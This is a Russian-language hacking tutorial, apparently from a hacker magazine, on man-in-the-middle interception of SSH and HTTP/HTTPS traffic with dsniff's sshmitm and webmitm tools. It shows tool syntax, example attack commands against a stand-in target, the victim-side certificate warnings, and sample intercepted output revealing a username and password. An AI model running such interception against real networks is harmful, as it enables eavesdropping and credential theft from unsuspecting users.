В этой статье мы рассмотрим с тобой атаки типа Man-in-the-Middle, а точнее метод
перенапраления SSH- и HTTP- трафика с помощью атаки Man in the Middle. Не будем тянуть кота за хвост, а перейдем к делу.
Man in the Middle (в кратце MitM, с русского языка просто - "атака посредника" или "человек
посередине") - это такой вид атаки, основанный на перенаправлении трафика между двумя машинами для перехвата информации - дальнейшего ее изучения, уничтожения или модификации. Итак, первое, что нам нужно - пакет dsniff (ссылку на пакет ты увидишь в конце статьи). Почему именно он? Да потому, что этот пакет имеет в себе все необходимые утилиты, включая sshmitm (перенаправление SSH-трафика) и httpmitm (перенаправление HTTP-трафика), которые умеют обходить следующую следующую схему безопасности: насколько тебе известно, протоколы с шифрованием данных довольно-таки "секурны" (шифрация в помощь :)) и не позволяют проводить атаки "поверх" сетевого уровня. Ключ шифрования хакеру неизвестен - данные расшифровать невозможно и вставить команду тоже. Все бы вроде ничего, да вот как
раз таки программы MitM-атак (sshmitm и httpmitm) из пакета dsniff способны обойти данную систему безопасности (обойти можно практически все). Делается это все по следующему принципу:
промежуточный хост получает запрос от клиента, "сказав" ему, что он и есть сервер, затем подключаясь к реальному серверу.
Второе, что нам понадобится - прямые руки, четвертое - самое главное - желание, ну и, конечно, жертва, то есть компьютер, который будем атаковать.
Перенаправление SSH-трафика
После подготовки инструментария, ты понял, что к чему и почему :). Доставай sshmitm - сейчас мы будем перенаправлять SSH-трафик (все, что не понял с теоретической частью - читай выше)
с помощью нее, используя недостатки сегодняшнего PKI (public key infrastructure — схема управления ключами, основанная на
методах несимметричной криптографии). Давай рассмотрим синтаксис
sshmitm:
sshmitm [-d] [-I] [-p port] host [port]
-d
разрешить отладочный вывод (то есть более расширенный режим)
-I
перехват сеансов
-p port
порт для прослушивания
host
адрес удаленного хоста, сеансы которого будут перехватываться
port
порт на удаленном хосте
Все вроде просто и со вкусом - ничего сложного нет :). Начнем реализовать атаку!
[inf@home ~ ]# sshmitm server.target.gov // указываем свой SSH-сервер
sshmitm: relaying to server server.target.gov
Так как мы не имеем реального SSH-ключа, то командный интерпретатор атакованного
выведет запрос о проверке host-ключа, все это будет выглядить примерно так:
clientmachine$ server.target.gov
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
Please contact your system administrator.
И тогда пользователь будет решать - подключаться или нет. Если да - то мы получим полный контроль над SSH-сеансом.
НО! Если юзверь ни разу не подключался к той тачке, может быть выдано следующее сообщение:
The authenticity of host 'server.target.gov' can't be established
RSA key fingerprint is
bla:bla:bla;bla;bla........
Are you sure you want ti continue connecting (yes/no)?
Тут у юзверя тоже есть два выбора - коннектиться или нет. Если да - то мы перехватили сеанс, если нет - то увы... :(.
В общем-то, атака прошла успешно, если пользователь приконнектился, а sshmitm в свою очередь запишет все пассы и логины, причем очень читабельно 🙂
Естественно, это не единственный перехватчик SSH-сеансов, но познакомившись с этим, ты без проблем освоишь и другой 🙂
Перенаправление HTTP-трафика
Сейчас мы будем перенаправлять HTTP-трафик. Опять таки, нам понадобится уже раннее подобранный инструмент: httpmitm, который прослушивает 80- (HTTP -) и 443- (HTTPS -) порты, перехватывает WEB-запросы, потом подключается к серверу и пересылает запросы компьютеру-клиенту. Также программа генерирует SSL-ключи и SSL-сертификаты с помощью OpenSSL. Затем, после попытки
приконнектится к сайту (target.gov), браузер проверит SSL-сертификат. Так как сертификаты совпадать не будут, то браузер юзверя предупредит о
неправильном SSL-сертификате. Со стороны взломщика это будет выглядеть примерно так:
[inf@home ~ ]#webmitm -d
webmitm: relaying transparently
webmitm: new connection from [IP-адрес]
GET [ссылка]/uzerz.php?user=hellknights&password=neskaju1qwerty HTTP/[версия]
Connection: [тип]
Host: www.target.gov
User-Agent: [информация о системе, браузере]
[итд, итд, итд]
Cookie: [кукисы]
Вот так все это выглядит со стороны -
перехватывается SSL-коннект, схватив незашифрованные данные.
Заключение
В этой статье мы рассмотрели с тобой перенаправление SSH- и HTTP- трафика, с помощью атаки Man in the Middle - четко, подробно, коротко. Другие программы перенаправления HTTP- и SSH-
трафика с помощью MitM ты освоишь быстро, если освоил и эти :)). Если, что-то было непонятно - то:
- почитай про строение интернет-протоколов
- man и google расскроют тебе глаза 🙂
Буду очень рад, если этой статьей и я чем-то вам помог и она вам понравилась 😉
[Пост Скриптум]
- http://www.xakep.ru/post/24367/default.asp
защита SSH - http://www.xakep.ru/post/18271/default.asp
отравление DNS при помощи MitM - http://www.xakep.ru/post/12756/default.asp
ARP спуфинг - http://www.xakep.ru/post/16308/default.asp
эффективный перехват данных в локальных
сетях - http://opennet.ru/man.shtml?topic=sshmitm&category=8&russian=2
man-лист по "sshmitm". Там же есть и ссылки на man ко всему dsniff-пакету. - http://www.monkey.org/~dugsong/dsniff/
тут при желании можно скачать пакет сетевого аудита
"dsniff" - http://protocols.ru/
все о протоколах 😉 - http://www.google.com/intl/xx-hacker/
ну и конечно наш хакерский гугл - все на хакерском языке :)). Зайти обязательно :))